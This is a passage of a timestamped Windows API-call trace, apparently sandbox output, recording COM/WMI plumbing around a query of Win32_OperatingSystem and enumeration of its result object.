CoTaskMemFree (pv=0x1d471590) [0260.095] WbemLocator:IUnknown:Release (This=0x1d496f20) returned 0x0 [0260.095] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475380, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd7c0 | out: ppvObject=0x1d2dd7c0*=0x1b350ea8) returned 0x0 [0260.095] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350ea8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd850 | out: ppvObject=0x1d2dd850*=0x0) returned 0x80004002 [0260.202] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350ea8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x0) returned 0x80004002 [0260.295] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475380, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd048 | out: ppvObject=0x1d2dd048*=0x0) returned 0x80004002 [0260.523] WbemLocator:IUnknown:AddRef (This=0x1b350ea8) returned 0x3 [0260.523] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350ea8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcf08 | out: ppvObject=0x1d2dcf08*=0x0) returned 0x80004002 [0260.523] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350ea8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dce90 | out: ppvObject=0x1d2dce90*=0x0) returned 0x80004002 [0260.523] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350ea8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dce80 | out: ppvObject=0x1d2dce80*=0x1b350d88) returned 0x0 [0260.523] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b350d88, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcea8 | out: pCid=0x1d2dcea8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0260.524] WbemLocator:IUnknown:Release (This=0x1b350d88) returned 0x3 [0260.524] CoGetContextToken (in: pToken=0x1d2dcf30 | out: pToken=0x1d2dcf30) returned 0x0 [0260.524] CoGetContextToken (in: pToken=0x1d2dd3b0 | out: pToken=0x1d2dd3b0) returned 0x0 [0260.524] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350ea8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b350e70) returned 0x0 [0260.524] WbemLocator:IRpcOptions:Query (in: This=0x1b350e70, pPrx=0x1b350ea8, dwProperty=2, pdwValue=0x1d2dd460 | out: pdwValue=0x1d2dd460) returned 0x80004002 [0260.524] WbemLocator:IUnknown:Release (This=0x1b350e70) returned 0x3 [0260.524] WbemLocator:IUnknown:Release (This=0x1b350ea8) returned 0x2 [0260.524] CoGetContextToken (in: pToken=0x1d2dda70 | out: pToken=0x1d2dda70) returned 0x0 [0260.524] CoGetContextToken (in: pToken=0x1d2dd970 | out: pToken=0x1d2dd970) returned 0x0 [0260.524] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350ea8, riid=0x1d2ddad0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1d2ddaa0 | out: ppvObject=0x1d2ddaa0*=0x1d475380) returned 0x0 [0260.525] WbemLocator:IUnknown:AddRef (This=0x1d475380) returned 0x4 [0260.525] WbemLocator:IUnknown:Release (This=0x1d475380) returned 0x3 [0260.525] WbemLocator:IUnknown:Release (This=0x1d475380) returned 0x2 [0260.525] SysStringLen (param_1=0x0) returned 0x0 [0260.601] CoGetContextToken (in: pToken=0x1d2ddba0 | out: pToken=0x1d2ddba0) returned 0x0 [0260.601] WbemLocator:IUnknown:AddRef (This=0x1b350ea8) returned 0x3 [0260.601] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350ea8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddba0 | out: ppvObject=0x1d2ddba0*=0x1b350ea8) returned 0x0 [0260.602] WbemLocator:IUnknown:Release (This=0x1b350ea8) returned 0x3 [0260.602] WbemLocator:IUnknown:Release (This=0x1b350ea8) returned 0x2 [0260.602] CoGetContextToken (in: pToken=0x1d2ddcd0 | out: pToken=0x1d2ddcd0) returned 0x0 [0260.602] WbemLocator:IUnknown:AddRef (This=0x1d475380) returned 0x3 [0260.602] IWbemServices:ExecQuery (in: This=0x1d475380, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1d2de178 | out: ppEnum=0x1d2de178*=0x1d35c4e0) returned 0x0 [0260.636] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde48 | out: ppvObject=0x1d2dde48*=0x1d35c4e8) returned 0x0 [0260.636] IClientSecurity:QueryBlanket (in: This=0x1d35c4e8, pProxy=0x1d35c4e0, pAuthnSvc=0x1d2ddf10, pAuthzSvc=0x1d2dde90, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94, pImpLevel=0x1d2ddea0, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4 | out: pAuthnSvc=0x1d2ddf10*=0xa, pAuthzSvc=0x1d2dde90*=0x0, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94*=0x6, pImpLevel=0x1d2ddea0*=0x2, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4*=0x1) returned 0x0 [0260.637] IUnknown:Release (This=0x1d35c4e8) returned 0x1 [0260.637] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddde0 | out: ppvObject=0x1d2ddde0*=0x1b351ba8) returned 0x0 [0260.637] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dddf0 | out: ppvObject=0x1d2dddf0*=0x1d35c4e8) returned 0x0 [0260.637] IClientSecurity:SetBlanket (This=0x1d35c4e8, pProxy=0x1d35c4e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0260.843] IUnknown:Release (This=0x1d35c4e8) returned 0x2 [0260.843] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x1 [0260.843] CoTaskMemFree (pv=0x1d470f30) [0260.843] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8b0 | out: ppvObject=0x1d2dd8b0*=0x1b351ba8) returned 0x0 [0260.844] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd940 | out: ppvObject=0x1d2dd940*=0x0) returned 0x80004002 [0260.936] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x0) returned 0x80004002 [0260.967] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd138 | out: ppvObject=0x1d2dd138*=0x0) returned 0x80004002 [0261.031] WbemLocator:IUnknown:AddRef (This=0x1b351ba8) returned 0x3 [0261.031] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcff8 | out: ppvObject=0x1d2dcff8*=0x0) returned 0x80004002 [0261.031] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcf80 | out: ppvObject=0x1d2dcf80*=0x0) returned 0x80004002 [0261.031] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf70 | out: ppvObject=0x1d2dcf70*=0x1b351a88) returned 0x0 [0261.031] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351a88, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcf98 | out: pCid=0x1d2dcf98*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0261.032] WbemLocator:IUnknown:Release (This=0x1b351a88) returned 0x3 [0261.032] CoGetContextToken (in: pToken=0x1d2dd020 | out: pToken=0x1d2dd020) returned 0x0 [0261.032] CoGetContextToken (in: pToken=0x1d2dd4a0 | out: pToken=0x1d2dd4a0) returned 0x0 [0261.032] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x1b351b70) returned 0x0 [0261.032] WbemLocator:IRpcOptions:Query (in: This=0x1b351b70, pPrx=0x1b351ba8, dwProperty=2, pdwValue=0x1d2dd550 | out: pdwValue=0x1d2dd550) returned 0x80004002 [0261.032] WbemLocator:IUnknown:Release (This=0x1b351b70) returned 0x3 [0261.032] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x2 [0261.032] CoGetContextToken (in: pToken=0x1d2ddb60 | out: pToken=0x1d2ddb60) returned 0x0 [0261.032] CoGetContextToken (in: pToken=0x1d2dda60 | out: pToken=0x1d2dda60) returned 0x0 [0261.032] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x1d2ddbc0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddb90 | out: ppvObject=0x1d2ddb90*=0x1d35c4e0) returned 0x0 [0261.032] IUnknown:AddRef (This=0x1d35c4e0) returned 0x4 [0261.032] IUnknown:Release (This=0x1d35c4e0) returned 0x3 [0261.032] IUnknown:Release (This=0x1d35c4e0) returned 0x2 [0261.032] WbemLocator:IUnknown:Release (This=0x1d475380) returned 0x2 [0261.033] SysStringLen (param_1=0x0) returned 0x0 [0261.033] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de1b8 | out: puCount=0x1d2de1b8*=0x2) returned 0x0 [0261.033] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de1b0*=0xf, pszText=0x0) returned 0x0 [0261.033] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de1b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0261.033] CoGetContextToken (in: pToken=0x1d2ddcf0 | out: pToken=0x1d2ddcf0) returned 0x0 [0261.033] IUnknown:AddRef (This=0x1d35c4e0) returned 0x3 [0261.033] IEnumWbemClassObject:Clone (in: This=0x1d35c4e0, ppEnum=0x1d2de0f0 | out: ppEnum=0x1d2de0f0*=0x1d35ae90) returned 0x0 [0261.124] IUnknown:QueryInterface (in: This=0x1d35ae90, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde78 | out: ppvObject=0x1d2dde78*=0x1d35ae98) returned 0x0 [0261.125] IClientSecurity:QueryBlanket (in: This=0x1d35ae98, pProxy=0x1d35ae90, pAuthnSvc=0x1d2ddf40, pAuthzSvc=0x1d2ddec0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4, pImpLevel=0x1d2dded0, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4 | out: pAuthnSvc=0x1d2ddf40*=0xa, pAuthzSvc=0x1d2ddec0*=0x0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4*=0x6, pImpLevel=0x1d2dded0*=0x2, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4*=0x1) returned 0x0 [0261.125] IUnknown:Release (This=0x1d35ae98) returned 0x1 [0261.125] IUnknown:QueryInterface (in: This=0x1d35ae90, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde10 | out: ppvObject=0x1d2dde10*=0x1b351868) returned 0x0 [0261.125] IUnknown:QueryInterface (in: This=0x1d35ae90, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde20 | out: ppvObject=0x1d2dde20*=0x1d35ae98) returned 0x0 [0261.125] IClientSecurity:SetBlanket (This=0x1d35ae98, pProxy=0x1d35ae90, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0261.127] IUnknown:Release (This=0x1d35ae98) returned 0x2 [0261.127] WbemLocator:IUnknown:Release (This=0x1b351868) returned 0x1 [0261.127] CoTaskMemFree (pv=0x1d470f30) [0261.127] IUnknown:QueryInterface (in: This=0x1d35ae90, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8d0 | out: ppvObject=0x1d2dd8d0*=0x1b351868) returned 0x0 [0261.127] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd960 | out: ppvObject=0x1d2dd960*=0x0) returned 0x80004002 [0261.128] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x0) returned 0x80004002 [0261.128] IUnknown:QueryInterface (in: This=0x1d35ae90, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd158 | out: ppvObject=0x1d2dd158*=0x0) returned 0x80004002 [0261.129] WbemLocator:IUnknown:AddRef (This=0x1b351868) returned 0x3 [0261.129] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dd018 | out: ppvObject=0x1d2dd018*=0x0) returned 0x80004002 [0261.129] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcfa0 | out: ppvObject=0x1d2dcfa0*=0x0) returned 0x80004002 [0261.129] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf90 | out: ppvObject=0x1d2dcf90*=0x1b351748) returned 0x0 [0261.129] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351748, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcfb8 | out: pCid=0x1d2dcfb8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0261.129] WbemLocator:IUnknown:Release (This=0x1b351748) returned 0x3 [0261.129] CoGetContextToken (in: pToken=0x1d2dd040 | out: pToken=0x1d2dd040) returned 0x0 [0261.129] CoGetContextToken (in: pToken=0x1d2dd4c0 | out: pToken=0x1d2dd4c0) returned 0x0 [0261.129] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x1b351830) returned 0x0 [0261.129] WbemLocator:IRpcOptions:Query (in: This=0x1b351830, pPrx=0x1b351868, dwProperty=2, pdwValue=0x1d2dd570 | out: pdwValue=0x1d2dd570) returned 0x80004002 [0261.129] WbemLocator:IUnknown:Release (This=0x1b351830) returned 0x3 [0261.130] WbemLocator:IUnknown:Release (This=0x1b351868) returned 0x2 [0261.130] CoGetContextToken (in: pToken=0x1d2ddb80 | out: pToken=0x1d2ddb80) returned 0x0 [0261.130] CoGetContextToken (in: pToken=0x1d2dda80 | out: pToken=0x1d2dda80) returned 0x0 [0261.130] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x1d2ddbe0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddbb0 | out: ppvObject=0x1d2ddbb0*=0x1d35ae90) returned 0x0 [0261.130] IUnknown:AddRef (This=0x1d35ae90) returned 0x4 [0261.130] IUnknown:Release (This=0x1d35ae90) returned 0x3 [0261.130] IUnknown:Release (This=0x1d35ae90) returned 0x2 [0261.130] IUnknown:Release (This=0x1d35c4e0) returned 0x2 [0261.130] SysStringLen (param_1=0x0) returned 0x0 [0261.130] IEnumWbemClassObject:Reset (This=0x1d35ae90) returned 0x0 [0261.132] CoTaskMemAlloc (cb=0x8) returned 0x524820 [0261.132] IEnumWbemClassObject:Next (in: This=0x1d35ae90, lTimeout=-1, uCount=0x1, apObjects=0x524820, puReturned=0x29c9e38 | out: apObjects=0x524820*=0x1b349b20, puReturned=0x29c9e38*=0x1) returned 0x0 [0261.139] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b349b20) returned 0x0 [0261.139] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd500 | out: ppvObject=0x1d2dd500*=0x0) returned 0x80004002 [0261.139] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0261.139] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dccf8 | out: ppvObject=0x1d2dccf8*=0x0) returned 0x80004002 [0261.140] IUnknown:AddRef (This=0x1b349b20) returned 0x3 [0261.140] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0261.140] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcb40 | out: ppvObject=0x1d2dcb40*=0x0) returned 0x80004002 [0261.140] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcb30 | out: ppvObject=0x1d2dcb30*=0x1b349b28) returned 0x0 [0261.140] IMarshal:GetUnmarshalClass (in: This=0x1b349b28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcb58 | out: pCid=0x1d2dcb58*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0261.140] IUnknown:Release (This=0x1b349b28) returned 0x3 [0261.140] CoGetContextToken (in: pToken=0x1d2dcbe0 | out: pToken=0x1d2dcbe0) returned 0x0 [0261.140] CoGetContextToken (in: pToken=0x1d2dd060 | out: pToken=0x1d2dd060) returned 0x0 [0261.140] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0261.140] IUnknown:Release (This=0x1b349b20) returned 0x2 [0261.140] CoGetContextToken (in: pToken=0x1d2dd720 | out: pToken=0x1d2dd720) returned 0x0 [0261.141] CoGetContextToken (in: pToken=0x1d2dd620 | out: pToken=0x1d2dd620) returned 0x0 [0261.141] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x1d2dd780*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2dd750 | out: ppvObject=0x1d2dd750*=0x1b349b20) returned 0x0 [0261.141] IUnknown:AddRef (This=0x1b349b20) returned 0x4 [0261.141] IUnknown:Release (This=0x1b349b20) returned 0x3 [0261.141] IUnknown:Release (This=0x1b349b20) returned 0x2 [0261.141] CoTaskMemFree (pv=0x524820) [0261.141] CoGetContextToken (in: pToken=0x1d2ddaf0 | out: pToken=0x1d2ddaf0) returned 0x0 [0261.141] IUnknown:AddRef (This=0x1b349b20) returned 0x3 [0261.141] IWbemClassObject:Get (in: This=0x1b349b20, wszName="__GENUS", lFlags=0, pVal=0x1d2de0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de1d8*=0, plFlavor=0x1d2de1d0*=0 | out: pVal=0x1d2de0b0*(varType=0x3, 